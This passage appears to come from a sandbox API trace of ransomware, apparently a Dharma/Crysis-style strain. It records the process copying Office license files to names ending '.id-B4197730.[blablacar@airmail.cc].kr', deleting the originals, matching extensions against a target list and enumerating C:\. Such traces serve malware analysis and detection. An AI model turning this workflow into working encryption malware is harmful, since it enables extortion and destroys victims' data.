lpNewFilePointer=0x0) returned 1 [0216.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0216.718] GetLastError () returned 0x0 [0216.718] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d72, lpOverlapped=0x0) returned 1 [0216.720] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0216.721] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0216.721] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x120, lpOverlapped=0x0) returned 1 [0216.721] SetEndOfFile (hFile=0x3bc) returned 1 [0216.721] CloseHandle (hObject=0x3bc) returned 1 [0216.722] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.722] SetEndOfFile (hFile=0x478) returned 1 [0216.728] CloseHandle (hObject=0x478) returned 1 [0216.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ul-oob.xrm-ms")) returned 1 [0216.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0216.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0216.732] lstrlenW (lpString=".doc") returned 4 [0216.732] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.732] lstrlenW (lpString=".docx") returned 5 [0216.732] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.732] lstrlenW (lpString=".pdf") returned 4 [0216.732] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.733] lstrlenW (lpString=".xls") returned 4 [0216.733] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.733] lstrlenW (lpString=".xlsx") returned 5 [0216.733] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.733] lstrlenW (lpString=".ppt") returned 4 [0216.733] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0216.733] lstrlenW (lpString=".zip") returned 4 [0216.733] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.733] lstrlenW (lpString=".rar") returned 4 [0216.733] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.733] lstrlenW (lpString=".bz2") returned 4 [0216.733] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.733] lstrlenW (lpString=".7z") returned 3 [0216.733] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0216.733] lstrlenW (lpString=".dbf") returned 4 [0216.733] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0216.733] lstrlenW (lpString=".1cd") returned 4 [0216.733] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0216.733] lstrlenW (lpString=".jpg") returned 4 [0216.733] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0216.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0216.733] lstrlenW (lpString=".doc") returned 4 [0216.733] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.733] lstrlenW (lpString=".docx") returned 5 [0216.733] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.733] lstrlenW (lpString=".pdf") returned 4 [0216.733] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.733] lstrlenW (lpString=".xls") returned 4 [0216.734] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.734] lstrlenW (lpString=".xlsx") returned 5 [0216.734] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.734] lstrlenW (lpString=".ppt") returned 4 [0216.734] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0216.734] lstrlenW (lpString=".zip") returned 4 [0216.734] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.734] lstrlenW (lpString=".rar") returned 4 [0216.734] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.734] lstrlenW (lpString=".bz2") returned 4 [0216.734] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.734] lstrlenW (lpString=".7z") returned 3 [0216.734] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0216.734] lstrlenW (lpString=".dbf") returned 4 [0216.734] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0216.734] lstrlenW (lpString=".1cd") returned 4 [0216.734] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0216.734] lstrlenW (lpString=".jpg") returned 4 [0216.734] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.734] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.734] lstrlenW (lpString="ProjectStdR_Grace-ppd.xrm-ms") returned 28 [0216.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.735] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20779) returned 1 [0216.735] CloseHandle (hObject=0x478) returned 1 [0216.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ppd.xrm-ms")) returned 0x220 [0216.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.736] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.736] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0216.737] GetLastError () returned 0x0 [0216.737] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x512b, lpOverlapped=0x0) returned 1 [0217.047] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5130, lpOverlapped=0x0) returned 1 [0217.049] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0217.049] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10c, lpOverlapped=0x0) returned 1 [0217.049] SetEndOfFile (hFile=0x3bc) returned 1 [0217.049] CloseHandle (hObject=0x3bc) returned 1 [0217.049] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0217.049] SetEndOfFile (hFile=0x478) returned 1 [0217.052] CloseHandle (hObject=0x478) returned 1 [0217.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ppd.xrm-ms")) returned 1 [0217.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms") returned 78 [0217.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms") returned 78 [0217.054] lstrlenW (lpString=".doc") returned 4 [0217.054] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.054] lstrlenW (lpString=".docx") returned 5 [0217.054] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.054] lstrlenW (lpString=".pdf") returned 4 [0217.054] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.054] lstrlenW (lpString=".xls") returned 4 [0217.054] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.054] lstrlenW (lpString=".xlsx") returned 5 [0217.054] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.054] lstrlenW (lpString=".ppt") returned 4 [0217.054] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms") returned 78 [0217.054] lstrlenW (lpString=".zip") returned 4 [0217.054] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0217.054] lstrlenW (lpString=".rar") returned 4 [0217.054] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.054] lstrlenW (lpString=".bz2") returned 4 [0217.054] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.054] lstrlenW (lpString=".7z") returned 3 [0217.054] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms") returned 78 [0217.054] lstrlenW (lpString=".dbf") returned 4 [0217.054] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms") returned 78 [0217.055] lstrlenW (lpString=".1cd") returned 4 [0217.055] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms") returned 78 [0217.055] lstrlenW (lpString=".jpg") returned 4 [0217.055] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms") returned 78 [0217.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms") returned 78 [0217.055] lstrlenW (lpString=".doc") returned 4 [0217.055] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.055] lstrlenW (lpString=".docx") returned 5 [0217.055] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.055] lstrlenW (lpString=".pdf") returned 4 [0217.055] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.055] lstrlenW (lpString=".xls") returned 4 [0217.055] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.055] lstrlenW (lpString=".xlsx") returned 5 [0217.055] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.055] lstrlenW (lpString=".ppt") returned 4 [0217.055] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms") returned 78 [0217.055] lstrlenW (lpString=".zip") returned 4 [0217.055] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0217.055] lstrlenW (lpString=".rar") returned 4 [0217.055] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.055] lstrlenW (lpString=".bz2") returned 4 [0217.055] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.055] lstrlenW (lpString=".7z") returned 3 [0217.055] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms") returned 78 [0217.055] lstrlenW (lpString=".dbf") returned 4 [0217.055] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms") returned 78 [0217.056] lstrlenW (lpString=".1cd") returned 4 [0217.056] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms") returned 78 [0217.056] lstrlenW (lpString=".jpg") returned 4 [0217.056] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.056] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0217.056] lstrlenW (lpString="ProjectStdR_Retail-ul-phn.xrm-ms") returned 32 [0217.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0217.057] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19941) returned 1 [0217.057] CloseHandle (hObject=0x478) returned 1 [0217.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-phn.xrm-ms")) returned 0x220 [0217.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0217.058] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0217.058] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0217.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0217.059] GetLastError () returned 0x0 [0217.059] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x4de5, lpOverlapped=0x0) returned 1 [0217.064] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x4df0, lpOverlapped=0x0) returned 1 [0217.065] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0217.065] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x114, lpOverlapped=0x0) returned 1 [0217.065] SetEndOfFile (hFile=0x3bc) returned 1 [0217.066] CloseHandle (hObject=0x3bc) returned 1 [0217.069] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0217.069] SetEndOfFile (hFile=0x478) returned 1 [0217.076] CloseHandle (hObject=0x478) returned 1 [0217.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-phn.xrm-ms")) returned 1 [0217.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms") returned 82 [0217.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms") returned 82 [0217.491] lstrlenW (lpString=".doc") returned 4 [0217.491] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.491] lstrlenW (lpString=".docx") returned 5 [0217.491] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.491] lstrlenW (lpString=".pdf") returned 4 [0217.491] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.491] lstrlenW (lpString=".xls") returned 4 [0217.491] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.491] lstrlenW (lpString=".xlsx") returned 5 [0217.491] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.491] lstrlenW (lpString=".ppt") returned 4 [0217.491] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms") returned 82 [0217.491] lstrlenW (lpString=".zip") returned 4 [0217.491] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0217.491] lstrlenW (lpString=".rar") returned 4 [0217.491] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.491] lstrlenW (lpString=".bz2") returned 4 [0217.491] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.491] lstrlenW (lpString=".7z") returned 3 [0217.491] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms") returned 82 [0217.491] lstrlenW (lpString=".dbf") returned 4 [0217.491] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms") returned 82 [0217.491] lstrlenW (lpString=".1cd") returned 4 [0217.491] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms") returned 82 [0217.491] lstrlenW (lpString=".jpg") returned 4 [0217.491] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms") returned 82 [0217.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms") returned 82 [0217.492] lstrlenW (lpString=".doc") returned 4 [0217.492] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.492] lstrlenW (lpString=".docx") returned 5 [0217.492] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.492] lstrlenW (lpString=".pdf") returned 4 [0217.492] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.492] lstrlenW (lpString=".xls") returned 4 [0217.492] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.492] lstrlenW (lpString=".xlsx") returned 5 [0217.492] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.492] lstrlenW (lpString=".ppt") returned 4 [0217.492] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms") returned 82 [0217.492] lstrlenW (lpString=".zip") returned 4 [0217.492] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0217.492] lstrlenW (lpString=".rar") returned 4 [0217.492] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.492] lstrlenW (lpString=".bz2") returned 4 [0217.492] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.492] lstrlenW (lpString=".7z") returned 3 [0217.492] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms") returned 82 [0217.492] lstrlenW (lpString=".dbf") returned 4 [0217.492] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms") returned 82 [0217.492] lstrlenW (lpString=".1cd") returned 4 [0217.492] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms") returned 82 [0217.492] lstrlenW (lpString=".jpg") returned 4 [0217.492] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.493] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0217.493] lstrlenW (lpString="ProjectStdVL_MAK-pl.xrm-ms") returned 26 [0217.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0217.989] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=10639) returned 1 [0217.989] CloseHandle (hObject=0x388) returned 1 [0217.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-pl.xrm-ms")) Thread: id = 45 os_tid = 0xe44 [0174.613] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3ca0070 [0174.613] lstrlenW (lpString="C:") returned 2 [0174.613] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x34ffcf8 | out: lpFindFileData=0x34ffcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, 